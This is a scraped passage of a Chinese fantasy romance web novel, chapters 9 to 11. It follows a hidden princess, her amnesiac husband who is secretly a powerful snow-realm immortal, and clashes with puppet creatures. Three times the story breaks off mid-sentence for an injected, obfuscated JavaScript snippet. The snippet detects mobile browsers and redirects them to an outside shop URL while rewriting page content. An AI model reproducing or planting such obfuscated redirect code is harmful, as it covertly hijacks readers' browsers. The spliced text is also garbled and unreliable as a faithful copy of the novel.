姜令霜看着他,说道:“时雪,你有没有想过要找回丢失的记忆?” 然后回到他的家呢? 奚时雪顿住,长睫半抬看着她:“我不在乎。” “但是没有过去的记忆也着实遗憾。”姜令霜耸耸肩,故作轻松道,“万一有你忘掉的人还在等你呢?” “没有人等我。”奚时雪忽然道。 姜令霜一愣,侧脸覆上微凉的手,他细细摩挲,衣袖间是浅而淡的寒香,夹杂了似有若无的草药气。 “这世上在乎我的,只有你一个。” 怎么会没有人在乎他呢? 姜令霜并不认同,参府的三个孩子对他满眼崇拜,两拨人都在找他,证明他的身份不一般,她不知南洲那波人来意为何,但参府的人,姜令霜是信得过的。 霜雪气息扑来,姜令霜愣神的功夫,奚时雪已半撑起身子覆了过来,捧住她的脸,细细啄吻她的唇。 “只有你在乎我,阿霜,只有你。” 奚时雪的人是凉的,吻也如此,微凉的唇舌在她的口中探索掠夺,姜令霜的舌尖发麻,糊糊涂涂想着,这人的羸弱该不会是装出来的,一个凡人的一口气怎么能憋这么长的,连着亲小一刻钟都不带换气的,缠绵中带着掠夺。 她的心头怦然,姜令霜伸出双臂圈住他的脖颈,衣袖沿着臂弯下滑,脊背按上一只骨节分明的手,微一用力将她托了起来抱坐在怀中。 姜令霜为数不多的几次糊涂,都败给了他。 直到他抱紧她,埋进她的颈窝,高挺的鼻梁轻蹭她的肌肤。 “丢失的记忆不重要,我是谁也无所谓,我只想做你的夫君。” 姜令霜长长呼了一口气,她坐在他的怀里,既可以察觉他蓬勃的欲念,也自然能听到他胸腔内那颗跳动的心脏,每一次震动都在传递他的情意,是她无法承担、也没有勇气去回应的感情。 她活到如今从来不走回头路,坦荡利落极了,能在那吃人的地方长这么大,也早已丢失了所谓良心,一心只想夺得帝位,保自己和身后的人平安。 如今她却想回到一年半前。 她绝不会打着利用的心,撒下一个弥天大谎,将一人的真心这般无情地践踏。 奚时雪按在她腰间的手用力,将她揉进怀中,他看着两人交叠倒映在榻上的影子,半晌后闭上眼,将安静靠在怀中的人抱得更紧,侧首吮吻她的耳根。 缠绵的吻中夹杂了他低到几乎听不清的声音。 “这是我的家,而你是我的归处。” 9. 第 9 章 “十天了。” “足足十天了。” 姜令霜重重一拍,石头碎成齑粉,她盯着院里的三个孩子,景宸和应煊卖力劈柴,路松盈择拎了把扫帚清扫廊下的雪。 “他们到底干什么吃的,真来当徒弟了,人笨还勤快!” 宁菡化作人形,颇有眼力见地递上杯凉茶:“殿下,喝茶消气。” “没工夫喝。”姜令霜站起身,单手拎着离淮今天砍好的柴,作为藤妖他能辨别草木之气,找到在这大雪中干燥能燃的柴火。 借着出来砍柴的由头,她将整个青山郡搜了个遍,如今这里并无星巽堂的人,怕是前些时日那位尊者境大能一击将其重创。 徐南禺既然来了青山郡,那定是有她的下落了,这里有位大能坐镇可以暂时逼退他们,却并非长久之计,姜令霜没时间再耗下去。 远处奔来个黑衣少年,离淮瞬移上前,拱手道:“殿下,玉公主出了府邸。” 姜令霜侧首看他:“身旁可有人跟随?” “只有她那位常随侍女。” 应是红俏无疑。 “你俩想办法催催那三个傻孩子。”姜令霜丢下句话,拖上柴便要往回走。 刚走了没两步,离淮忽然喊住她:“殿下。” 姜令霜顿住,回头看过去:“何事?” 离淮神色踌躇,薄唇微抿,迎着姜令霜平淡的眸光,默了默,最终咬牙说道:“实在不行,就将那凡人带回王城吧。” 宁菡皱眉:“不行,区区凡人,配不上殿下。” 离淮上前一步道:“我自然也觉得他配不上殿下,寿命短暂,怕是您还正当壮年,他便已垂垂老矣,况且若公主的夫婿是个羸弱凡人这事传出去,星巽堂那些人或许会借此发难,不利于您夺位,毕竟东洲的王夫不能是个无门无荫、无势无权的凡人。” 姜令霜并未开口,神色瞧不出不虞,离淮拱手道:“我们妖藤一族百年可结一枚混灵妖丹,属下将这百年修为给那凡人,让他瞒过星巽堂的人——” “不必,这是我和他的事。”姜令霜淡声打断,转身踩着雪朝路尽头的小院走去。 风吹来满地散雪。 “参府是个好归处,跟着我回去,不是条生路。” 离淮低下头不再开口,宁菡想到什么,一向马虎不揣心事的小蛇恹恹垂下头。 先王后留给了姜令霜一整支妖族守卫,整整一百三十人,这些人将襁褓中的姜令霜拉扯长大,在那吃人的地方为她撑起片祥宁之地,教她修行识字,教她治国之道。 一百来年了,如今还活着的只有九人。 - 姜令霜刚推开门,路松盈便送上了杯热茶。 “师娘,您辛苦了,来喝杯茶!弟子为您亲手定制的八宝养颜茶,保您排湿去黄,补气养血,祛痘控油,润肠清毒!” 姜令霜低头看着递来的热茶,以及躬身行了个大礼的路松盈。 侧边递上一盘冒着热气的糕点,应煊眨眨眼睛:“师娘,来块健脾养胃的红豆糕啊,如果您不想吃红豆,弟子这里还有绿豆、桂花、槐叶、松糕,只有您吃不惯的,没有我不会做的。” “让开让开。”黑衣少年从一旁挤了过来,从身后猛地掏出一只脱了毛的鸡,眉开眼笑道,“师娘,狗会汪汪叫,猫会喵喵叫,您猜鸡会什么?” 姜令霜一言不发,面无表情盯着他。 景宸没瞧明白她眼里的冷意,三个傻孩子异口同声道:“鸡会留给有准备的人啊!师娘,您看!” 三人让出一条路,姜令霜盯着廊下不知何时出现的铁架,险些没把手里的柴捏碎。 景宸跑过去,将抹了油的鸡挂在铁钩上,边忙边道:“铁炉烤鸡您吃过没,炭火全方位炙烤,让鸡均匀受热挥发出油而不腻的香,切成薄片再配上荞麦卷饼,一口下去,保您还想来第二口!” 姜令霜不想喝茶,也不爱吃糕点,更对什么铜炉烤鸡毫无兴趣,如今心里唯一的念头,便是这三个傻子到底是谁招进参府的。 参府这些年是隐世又不是没落了,招收弟子连门槛都没吗? 姜令霜头也不回绕开三个傻孩子,拖着柴走到无人的后院,拿起玉牌传音:“不用再等,今晚你俩就给我想办法推一把这三个傻子,让他们趁早带人给我滚回参府!” 挂断玉牌,姜令霜闭眼捏了捏眉心,如今天快黑了,这几日风雪太大,奚时雪的医馆暂时闭店,他今日去街上买菜,如今也快回来了。 她在后院坐了没一会儿,刚砍了一堆柴,奚时雪便回了家,她在后院都能听到那三个“徒弟”的高呼。 “师父,您回来啦!” 姜令霜平生后悔的事又多了一件,便是将这三个参府的孩子领进了家门。 奚时雪并未回应他们,径直朝后院去,这里的雪都被景宸他们扫了干净,他推开竹门,温声道:“阿霜,我回来了。” 姜令霜背着手走过去,趁他不注意,抬手抖了抖,掌心上的水珠全都撒在了他的脸上。 “凉不凉,我刚洗的手。” 奚时雪唇角微弯,并不生气她有些幼稚的捉弄,握住她的手,取出帕子擦干净。 “天冷,凉水盥洗会染风寒。” 姜令霜将另一只手也伸出来让他擦拭,看着低眉柔和的人,问道:“今晚吃什么?” 奚时雪道:“红烧肉,莴笋鸡丁,清炒白菜。” 姜令霜磨蹭着凑过去,歪歪脑袋看着他道:“我晚上不能在家吃饭了。” 奚时雪耐心替她擦干净指缝间的水珠,眼睫半垂道:“为何?” “你应当听说了程兄的事吧?”姜令霜顿了顿,眸色暗了些许,“嫂嫂风寒高热几日未愈,三日前毒火入肺,无力回天,后事刚办好,程兄哀思过度,闭门不出,我放心不下囡囡,想着去看看。” 奚时雪抬眸看她:“阿霜,夜太深,我陪你去。” 姜令霜拍了拍腰间的匕首:“我可是修士,虽修为没那般高,自保的手段还是有的,你在家吧,我很快就回来。” 奚时雪低着眼帘,专注望着她,在姜令霜的印象中,他看她的眼神从未有过防备,似乎她说什么做什么他都会信,也怨不得她看出他是参府之人,毕竟参府口碑在外。 可近些时日,姜令霜却觉得奚时雪有些奇怪,他的眸色相较常人来说浅了些许,如今直勾勾瞧着她,清晰地映出她的倒影,那种说不上来的感觉让她下意识皱眉。 还未说些找补的话,奚时雪偏头过来在她的额头轻轻落了个吻。 “好,去吧,早些回来。” 姜令霜眨了眨眼,又觉得奚时雪似乎没变,还是如过去那般对她信任有加。 “时雪,谢谢你。”她握住他的手,慢慢勾缠他的指尖,垂眸看着两人交握的手。 奚时雪问:“为何谢我?” “没什么,只是觉得你对我很好。”姜令霜仰起头,笑盈盈的模样看不出半分异常,“那我先走了,会早些回来的,你和孩子们记得用膳。” 奚时雪替她系上披风,目送姜令霜离开,他站在院门前,一眼望过去,天地间尽是白茫茫的雪影,而那抹芙蓉红的身影正走入风雪中,逐渐缩小为望不见的红点。 应煊被两个同伴推了出来,哆哆嗦嗦朝奚时雪走去:“师师师师师父,您饿——” 奚时雪冷不丁打断:“你们的师尊是谁?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414961|200739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯?”应煊瞪大眼,没反应过来他话中含义,下意识道,“哦,师尊称号庭疏真人,师父问这个干什么?” 奚时雪侧首看他,淡声道:“来日好送你们一起地下团圆。” 应煊:“……” 景宸:“……” 路松盈:“……” 三人抬头默默看着这张清俊似仙的脸,在他的脸上只看到四个字——你们完了。 奚时雪抬步离开,眨眼之间消失不见,只剩被疾风扬起的散雪。 应煊靠在门框上,双目无神道:“现在解散宗门还来得及吗?” 景宸踹他一脚:“你不如现在去定几十口棺材,再托办白事的在你死后为你风光大葬。” 路松盈捂住脸,越发觉得这进内门的机会也不是非要不可。 - 青山郡外曾是千里郁郁葱葱,如今因着气温陡冷,青叶败落,树梢枝头全都挂上了白霜。 山头空地扎了营,一人对营帐内道:“主上,您该换药了。” 徐南禺披着大氅,冷声道:“进来。” 几日前在郡内受了伤,那雪刃着实奇怪,他已修至洞虚满境,差一步便入大乘,寻常兵器的伤眨眼便能痊愈,那落雪聚成的匕刃留下的伤却迟迟不愈,若非他见状不对及时剜去伤口周围的血肉,怕是那寒毒早已侵蚀他的五脏六腑。 徐南禺用匕首剜去再次发黑溃烂的血肉,额上溢出细密的汗,他一声不吭,利落撒药。 他边缠纱带边道:“说吧。” 身旁单膝跪地的人拱手道:“这几日派去青山郡的人,无一人出来,今日派去的两人进了郡后也消失了,那位大能好似与咱们结了仇,凡是咱们的人,进去没一个能活的。” 徐南禺攥紧了拳头,冷声道:“到底哪里招惹他了?” 对这种可以横行天下的大能,他们不说招揽,也绝不会与之结仇,见面必恭敬尊崇,以礼相待。 可那日初次碰面,对方便出了杀招,明摆着不肯留他们性命。 属下犹犹豫豫道:“大殿下快到了,如今看来那位尊者境大能在坐镇此郡,态度明显,不肯我们踏入一步,违者格杀,若大殿下来此……恐有危险。” 毕竟那是尊者境大能,是当今世上唯三的尊者之一。 徐南禺缠好纱带,扶着木椅起身,忍住钻心的痛,冷冷看向帐外,掀起的帘子外是茫茫雪原,灵力燃出的篝火须不断加持才能不灭。 “若他真是雪境那位,殿下自有办法应付。” 千里之外,青山郡内。 奚时雪擦去手上的血迹,染了血的锦帕丢在横躺的人身上,一团灵火猝然烧起,将倒地的人眨眼间吞没,片刻后便只剩一团焦灰,树梢上的雪落下掩盖杀孽,一切化为乌有。 不知这些人为何要找阿霜,但姜令霜明摆着在躲他们。 奚时雪从初初与她结识便知晓她身份不一般,也能瞧出她在躲人,而这些人只会给她带来麻烦。 这日子过了一年半了,他好似聋了瞎了,对此不发一言,只想安稳度日,总有些不长眼的要凑上前来。 解决完新入郡的这两人,奚时雪不欲久留,转身离开,刚行至光亮之处,寒凉的风掀起满地的落雪,淬着凛凛的光朝他逼来。 奚时雪冷眼回头看去,从阴影中走出一人,灰白道袍在疾风中猎猎作响,满头华发仅由一根木簪束起,如枯木般干瘪的肌肤象征着他的年迈,可本该浑浊的眼却矍铄异常。 他的袖中搭了根拂尘,迎着月色瞧清了奚时雪的脸,千年来的淡然都烟消云散,瞳孔瞪大,唇瓣哆嗦几下,在奚时雪抬手之前,忽然席地跪了下去。 “老、老祖!” 10. 第 10 章 风声被隔绝在八极大阵外,红光滔天,一击爆发的灵压荡开,横扫了方圆十几里的古树,碎石迸溅,一道人影被从阵中击飞。 玉琼音眼也不眨,抬手拦住险些被揍飞几十里的薛琢,单手按在他的脊背,略一用力便将人拦了下来。 薛琢站直,突出一口血,横臂擦拭唇角的血迹:“他大爷的,这两只傀还真能打。” 玉琼音解下披风,红俏双手接下,为她递上长鞭。 “什么情况,怎么又多了两只傀?” “鬼知道。”薛琢这身价值万金的华裳如今褴褛残破,他倒了几颗灵丹吞下,压下喉口不断翻涌的血,“一个僻远的青山郡,庙小妖风大,事儿还真多。” 远处的围杀已快被撕破,薛琢没工夫多解释,提起长枪跃上古树,寒光出鞘,唳鸣掀动满地落叶飞雪聚成卷龙。 “红俏,你守着这里。” 玉琼音淡声吩咐,白影如鬼魅般跟随而上。 红俏抱着自家殿下的披风退守林口,身后的打斗声铿锵,风声簌簌,在这看似宁静僻远的青山郡,却藏着比王城还要汹涌的波涛暗流,汇聚了来自四面八方的势力。 薛琢和玉琼音身为一洲王嗣,自小修习,境界在同辈当众自是当之无愧的佼佼者,个个都能横行一方,直到亲身跟傀打斗,才知晓这种只存在在卷册上的东西,到底有多骇人。 无知无感,不畏疼痛,斩首挫骨都能在一刻钟内复生,圣物造就出来的邪祟,需得圣物之力绞杀,可如今唯一能杀傀的两大圣物,承咎剑和京玉弓都不在此处,只能想办法抽出傀丝,镇压这两只傀。 趁着一只傀被钳制之时,玉琼音的长鞭捆住另一只傀,朝薛琢喊道:“抽出它的傀丝!” 薛琢一枪穿透这只傀的胸膛,灵力探入这只傀的经脉,单手攥紧那条蠕动的丝线,生生抽出这根染血的傀丝。 失去傀丝的傀会大幅削弱战力,天阶的缚仙索便能捆缚,两人刚镇压这只傀,还没来得及喘口气,便听到另一侧传来爆破的轰隆声。 薛琢侧首看去,两眼一抹黑,破口大骂:“蠢货,一群人都困不住一只傀!回去都给我滚出北洲!” 那只傀冲破桎梏圈,似乎明白局势不利,沿着被撕开的口子迅速逃窜,薛琢和玉琼音紧随其后,两道身影仅仅跟随在那抹枯瘦的影子后,却始终差上几步距离。 幽暗的密林即将到头,远处隐隐可见光亮,玉琼音冷声道;“不能让它逃出林子,那边是街市,届时死伤便不是我们能控制的了。” 薛琢抬起胳膊:“上来!” 玉琼音踩上他的手臂,借他的力跃出,旋身闪至那只傀的身前三步远,长鞭缠住傀的腰身和胳膊,正欲用力将他彻底固死,效仿方才镇傀的法子。 沿着长鞭传来一阵强劲拉力,玉琼音柳眉微拧,那只傀竟生生攥紧她的鞭身,不顾灼烧的火焰将执鞭的她拉了过去,竖起尖利的利甲正对玉琼音的喉口。 “玉琼音!”薛琢瞳仁微颤,枪身一转投掷出去。 比他的长枪和那只傀的利甲更快的是凛冽的剑光,银光乍泄,落至那只傀的身上,生生将它的两臂斩断,浓黑的血滚了满地。 红影从密林窜出,擦肩而过之际,姜令霜接住被威压震飞的玉琼音,将她扔给薛琢。 她瞬移至那只傀的身旁,拽住在血水中蠕动的傀丝将它彻底分离,掏出方才从玉琼音身上摸来的缚仙索将其捆住。 解决完这只傀,姜令霜皱眉捞起一把雪搓了搓掌心的血迹,拿帕子用力擦拭。 薛琢看着她,那抹红影纵使顶着一张陌生的脸,可他们自幼一起长大,便是姜令霜化成灰他都识得,脑子还没反应过来,脚便已经匆匆上前。 “姜令霜?”薛琢心下一喜,咧嘴笑道,“你真没死啊,小爷就知道祸害遗千年,你哪那么容易死!” 一听到这咋呼的声音,姜令霜的眉头拧得更紧了,斜他一眼,上下打量道:“蠢货,一只傀都追不上。” 开口还是熟悉的前奏,薛琢想起自己跟她的龃龉,收起脸上不值钱的笑,嗤道:“哪是一只傀,你来之前还打了一只!” 姜令霜白他一眼,朝玉琼音走去,后者正慢条斯理擦拭长鞭上的血迹。 “好久不见。”姜令霜的态度一百八十度转弯,弯起眼眸笑道,“你身子可还好?” “尚可。”玉琼音唇角微弯,温声道,“我知道你会来找我的。” 所以她特意屏退了除红俏外的所有随从。 姜令霜自然也看出了她的意图,相识多年,对彼此知根知底。 薛琢一掌劈晕刚转醒的傀,没忍住又看了眼姜令霜,嘀咕道:“没死不知道传个信,窝窝囊囊缩在这青山郡。” 姜令霜没看他,对玉琼音解释:“我没办法给你们传信,我的通信玉简早就丢了,若想其他办法向北洲和西洲王室传信,暴露的风险太大,赶在你们来之前,星巽堂便会先一步将我围起来。” 玉琼音眉心微蹙:“你的修为有碍,被压至化神了,怪不得你会躲起来,这不像你的行事。” “中了徐南禺的玲珑针。”姜令霜翻转掌心,一根针状东西在肌肤下快速游走。 薛琢皱眉,顾不得那只傀,匆匆上前盯着她的腕子:“这狗东西,跟我回北洲,我差人帮你取出玲珑针。” 姜令霜躲开他伸来的手,拉下衣袖盖住手腕:“取不出来,只能我自己想办法先压制,现在我得先回去,过不了几日天诏便要落下。” 薛琢指尖蜷了蜷,一言不发收回手。 玉琼音道:“我会想办法帮你躲过星巽堂的耳目,不过——” 她微拧眉心,沉声道:“前些时日星巽堂来了,徐南禺出现在青山郡,定是有你的消息了,可他们却忽然退了出去。” 薛琢道:“这里有个大能,尊者境的,我的暗卫说,星巽堂派进来的人都死了,可那位前辈没对我和玉琼音的人动手,应当不是在滥杀,只是单纯跟星巽堂有仇。” 玉琼音道:“不论如何,有前辈坐镇,星巽堂暂时进不来,我明日便差人送你出去。” 姜令霜开口打断:“再等我三日,我得安顿个人,将他安置好,我立刻返程。” 薛琢皱眉道:“别再磋磨时间,又不是多重要的人,你得尽快回去。” “很重要的人。”姜令霜斜他一眼,“我必须得将他安顿好。” 薛琢眨了眨眼,迎上她漂亮的眼睛,无端觉得喉口一紧,心里惴惴,想要细想她那“重要的人”究竟是谁,可直觉告诉他,追问出来的结果兴许不会令他开心。 玉琼音将一枚玉牌递过去:“我们的人快追来了,这枚玉牌你拿好,准备离开时便传信给我。” “好,多谢。”姜令霜不能久留,转身窜入雪林。 - 奚时雪自醒来便记忆全无,唯有一身未好的伤。 醒来的第一眼见到的便是姜令霜,她的防备与欺骗看似完美,实则最初便被他识破,从第一眼他便知晓这是个骗局。 可身上的伤痛也掩不住胸腔的怦然,有时候,奚时雪想藏起来他的小骗子夫人。 但姜令霜是自由的,她如野草般顽强刚韧,将其折断变成温室里艳丽的花,对她来说是莫大的侮辱,也会令他们这份感情变得俗套。 因此他可以压制蠢蠢欲动的渴望,让自己变成一个平凡普通的大夫,过着这日复一日、却又充实满足的生活。 但偏偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414962|200739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,总有些不长眼的人要凑上前来。 奚玄鹤跪下的刹那间,奚时雪的手便按住了他的脑袋,稍一用力便会捏碎这人的脑壳。 纵使命门被人把控,奚玄鹤仍分寸不退。 奚时雪能感知每一片雪花的波动,他有一手登峰造极的控雪术,却从来不去想自己的身份,无论是罪大恶极的犯人也好,还是功德圆满的善人,又或者只是个修为高强的寻常人,都无所谓。 他冷眼便要捏碎这人的脑袋,奚玄鹤扬声道:“您必须得跟老夫离开,东洲王室派人去请了承咎剑,来捉拿您的!” 险些将他的脑袋捏爆的力道松了些,奚玄鹤斗胆抬头,沉声道:“您负责镇守丹襄雪境,法号丹襄仙君,千年前您走入雪境,与其融为一体,您本该终生困于其中,千年万年不得出,我不知为何您能全须全尾地出来,但您不能在外久留。” 奚时雪居高临下看着他,神色平静,全无在意。 奚玄鹤道:“东洲王室去请了参府圣物,承咎剑是唯一能镇压您的东西,他们此举定是觉察了您的身份,因您贸然离开雪境,饕雪无人镇压,雪灾已席卷,若让人得知您在此处,定会齐力缉拿您回去。” “那你是谁?” 这次奚时雪开了口,声音淡淡毫无波澜。 “是参府对不住您,我、我——”奚玄鹤悲愤难当,以头抢地,“属下参府奚家第三十任家主,奚玄鹤,您是参府奚家第一任家主,奚时雪。” 可这次无人回应他,奚玄鹤抬头,眼前早已无人,只余一片被风扬起的雪。 - 奚时雪回了家。 回到那个只有三间砖房,不大却填得满满当当的小院。 三个孩子临走前将院里和门前的雪扫了个干净,如今又落了薄薄一层雪,水房前的廊下还挂着他洗好的衣裳,有灵火珠暖着并未结冰,他收了起来叠好。 夜太深了,奚时雪站在廊下等了一会儿,院门被推开,一道纤细的红影从外进来,身边并未跟着那两只小妖,离淮和宁菡和姜令霜在离家几里时便分开了。 “夫君?”见到廊下站着的人,姜令霜愣了下,旋即反应过来,笑着朝他走过去,“你在这里等我吗?” 姜令霜和玉琼音他们分开后,便去了程家,程寒舟仍闭门不见任何人,她陪囡囡待了会儿便回来了,如今一算,确实出去了挺久。 奚时雪并未披上大氅,穿着一身单薄锦衣站在廊下,姜令霜握住他的手,触手全是凉意。 她搓了搓,给他暖着手,斥道:“你怎么穿这么薄,别感冒了。” 奚时雪比她高了一头,低头瞧着她,目光在她明艳的脸上流连,他弯起唇角,温声道:“阿霜,与我在一起的日子,你可还欢喜?” “说这些干什么?”姜令霜被他逗笑,执起他的手贴在自己的脸侧,笑盈盈道,“与你在一起的日子,我很欢喜。” 是实话,全无半分虚情假意。 姜令霜看着他,比奚时雪这张脸更让她难忘的,是这一年半来细水长流、无微不至的照顾,陪伴姜令霜的人有过许多,如他这般温和包容的倒只有这一个。 她当了一百来年的公主,在青山郡这一年半,成为兰霜的日子给了她片刻的喘息时机。 姜令霜搂住他的腰身,将下颌抵在他的胸口,仰头看着他,笑道:“时雪,我很感激你,也想你过得好。” 奚时雪低头亲亲她的唇,声音极轻:“你在我身边,我就会过得好。” 他将人搂进怀里,扣着她腰身的手越收越紧,忽略她身上沾染的血迹,好似只能闻到属于她的清香,这个人还在自己的怀里,他可以继续装聋作哑。 “阿霜,我们不会分开的。” 11. 第 11 章 “师娘没吃我做的桂花糕,难不成是不爱吃糕点?” 路松盈拿了块糕点咬了口,不忘回应煊的话:“我觉得师娘只喜欢吃师父做的东西。” 应煊单手托腮,闻言两眼放光:“师父的手艺是我见过最好的,我最爱吃他做的清炖乳鸽,师娘有眼光!” “不不不,冬瓜排骨才是师父最拿手的菜,汤鲜肉烂,肥而不腻。” 两人如同遇到了知音,喋喋不休商讨着师父绝佳的厨艺,景宸坐在窗台捂住耳朵,只觉魔音绕耳,听了半晌没忍住,捞起窗台上的花瓶砸了过去。 “我去,这玩意儿十金呢!”应煊和路松盈手忙脚乱接住。 景宸恨铁不成钢道:“第十天了,我们一点进展都没。” 路松盈将花瓶放到桌上,嘀咕道:“说得跟你敢靠近师父一样。” “我——”景宸站起身,又无话反驳,磕绊找补道,“那也不能天天真在这里干活啊,得尽快带师父回去。” “那师娘怎么办?”应煊一瘪嘴,单手托腮拿起糕点咬了口,边吃边说,“把师父带走,师娘独自在青山郡,那师父就是抛弃糟糠之妻的渣男,咱们就是助他抛妻的小人。” 路松盈竖了个大拇指:“你说出了真相。” 景宸哑口无言,毕竟来之前他们也只是试试,没成想一个大夫还真是要找的人,更没想到前辈竟然娶妻了。 应煊提议道:“不是说从师娘身上下手吗,如今看来必须得将师娘也带走了。” “说得轻巧,参府不接待外人,尤其师娘还是走洲的。”景宸没好气道,颓然坐下,“师娘干什么不好,偏偏去走洲,跟瘴域打交道太多,进不去参府的,真让人头疼。” 路松盈踹他一脚:“那还不是为了养家,靠自己双手赚钱,不丢人!” 景宸拍拍被她踹出的脚印:“我就是口快而已!” 几个小辈踌躇莫展,坐在屋里你一言我一语地说着,窗台上一根藤蔓悄无声息爬走。 离淮化为人形,缠在树枝上的小蛇问道:“怎么样?” 离淮怒道:“这三个傻子,聊着聊着竟然谈上明天吃什么了,不管了,现在就动工,必须得催他们一把。” 临近子时,景宸和应煊各自回了自己的房间。 他们租住的是一家客栈的三层,景宸进屋,小二已经将浴桶的水打好,他解下外衫搭在屏风上,外头走廊两道人影闪过,影子打投在窗纱上。 “城东的大夫确实是那位。” 景宸猛地看过去,走廊的人压低声音经过他的门前,但一个金丹修士五感灵敏,这么点距离不是问题。 城东就一个大夫,指的是谁未免太过明显。 景宸捞起外衫胡乱裹上,打开门隔着几步距离偷偷跟上,在前头的两人进了屋后,他屏声匿气躲在门口,一扇木门阻隔不住里头的声音。 “既确定是他,那就跟主子说吧,从南洲王城到青山郡也不过两日路程。” “不过主子到底为何要抓这位前辈?” “不知,但寻思像是有仇,咱们人多一定能拿下他。” 应煊正准备休息,有人扑过来踹开了他的门,他抬头就骂:“谁啊这么没素质!” 景宸捂住他的嘴,低声道:“出大事了,那群人知道前辈的下落了,快给参府传信!” 三个傻孩子急得团团转,再顾不得将前辈卖了是不是过于不厚道,什么义气在生死前头都是小事了。 相隔一条街的距离,宁菡和离淮站在瓦檐上,盯着那间敞开轩窗的屋子。 宁菡扭头问:“就这样?” 离淮双手环胸,下颌微扬指着那三个傻孩子:“对付这种年纪小还傻的孩子,足够了,他们知道南洲王城也有人在找殿下的夫君,如今看他们的反应,那伙人果然来者不善。” 离淮只是略施小计炸了一波,这三个孩子果然中了套,真当奚时雪的踪迹暴露了。 宁菡点点头,犀利点评:“傻子。” - 奚时雪添上了沐浴的水,姜令霜解下衣裳搭在屏风上,缩进浴桶里,热水让她舒服许多。 轩门打开,“吱呀”声并不大,姜令霜听到后也并未有反应,仍懒懒躺在浴桶里,奚时雪停在屏风前收起了她搭在上头的衣裳。 姜令霜闭着眼,听到他冷不丁问了句:“阿霜,你受伤了吗?” 她猛地睁开眼,在回来之前她便想办法揉去了衣裳上的血迹,确保干干净净后才回来的。 他这鼻子还真是灵,姜令霜反应很快,果断胡诌:“哦,帮程家搬点东西,划着手了,一点小伤口,我已经用丹药疗愈过了。” “好。”奚时雪并未追问,将她的衣裳抱走。 奚时雪并未洗了她的衣裳,来到院中,冷眼燃起一团火焰,将她今日穿的这身衣裳烧了个干净,他面无表情,垂眸盯着燃烧的灵火。 沾了那种脏东西的血,这衣裳便不能再穿在她身上。 郡内有不少这东西,姜令霜为何会与它们牵扯上,奚时雪并不知,虽然想时刻监视她的一举一动于他而言并非难事,可若是让她得知,以她的性子便断不会再信他一次,他不该为了这些事冒这般大的风险。 她要尊重,要平等,要相互信任,奚时雪过去都毫不吝啬地给了,如今他盯着这团燃烧的火焰,他为她买的衣裳被亲手烧成了一团灰烬,与之一同烧了个干净的,是这一年半来平静的日子,以及他心中那摇摇欲坠的信任。 夜太深了,姜令霜梳好发后也毫无睡意,她推开窗,这场雪下了太久,她不知距离丹襄雪境最近的东洲是如何模样。 天下四洲三境二府,只有丹襄雪境杳无人烟,那里只有一位丹襄境主,一望无际的雪原以及足以冻死化神境修士的饕雪,可丹襄雪境仍能与其余几方分庭抗礼。 姜令霜自幼便听教导她的人说,这天下不能没有丹襄雪境,也不能没有丹襄境主,否则里头镇压的饕雪便会将整片大陆冻成冰碴,届时所有人都难逃一死,因此世人尊崇这位舍身为民的境主,年年为其焚香祈愿,盼境主身体康健、寿数绵长。 她叹了口气,在那般冷的地方待上千年万年,未尝不是一种永生的折磨呢? 可他们这样的人,生下来便注定身不由己,肩上的责任放不下,平生所做的事没几件能随心所欲,好比那位孤身镇守雪境的丹襄境主,又好比她这位看似荣誉的东洲公主。 姜令霜刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414963|200739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备关上窗,水房的门打开,奚时雪走了出来。 美人出浴,着实赏心悦目,姜令霜自认并非好色之人,皮囊再好也终会年老色衰,却也不由得感慨,她这捡来的便宜夫君到底是谁生的,怎么能这般好看? 或许她无法果断舍弃这段虚情假意的夫妻关系,也有他那张脸的功劳吧? 奚时雪穿着单薄的寝衣,披上外衫朝她走了过来,姜令霜如今一瞧见他便有些心虚和愧疚,对他道:“今夜歇在我屋里吧,我帮你温脉。” “好,多谢阿霜。”奚时雪笑了下,笑意极浅。 姜令霜抱出备用锦被,刚铺好,便听到身后窸窸窣窣的声响,她回头一瞧,没忍住咳嗽出来。 “时雪,你,你解衣裳作甚?” 姜令霜是看过奚时雪换衣的,只见过两次,还都是刚捡到他的时候,那时候她只觉得这人生得高大,身形倒是不错,不像个羸弱之人。 这是第三次,几滴水珠沿着他壁垒分明的腰线隐入裤腰,她忙背过身去,姜公主也是第一次有不敢看的人。 “发梢未干,衣裳湿了。” 奚时雪倒是坦然,解下打湿的寝衣,换上新的寝衣,盯着背过身的妻子,目光落在她红透的耳根上,耳垂胀得好似要滴血了般,他面无表情换上寝衣,走过去自身后拢住她。 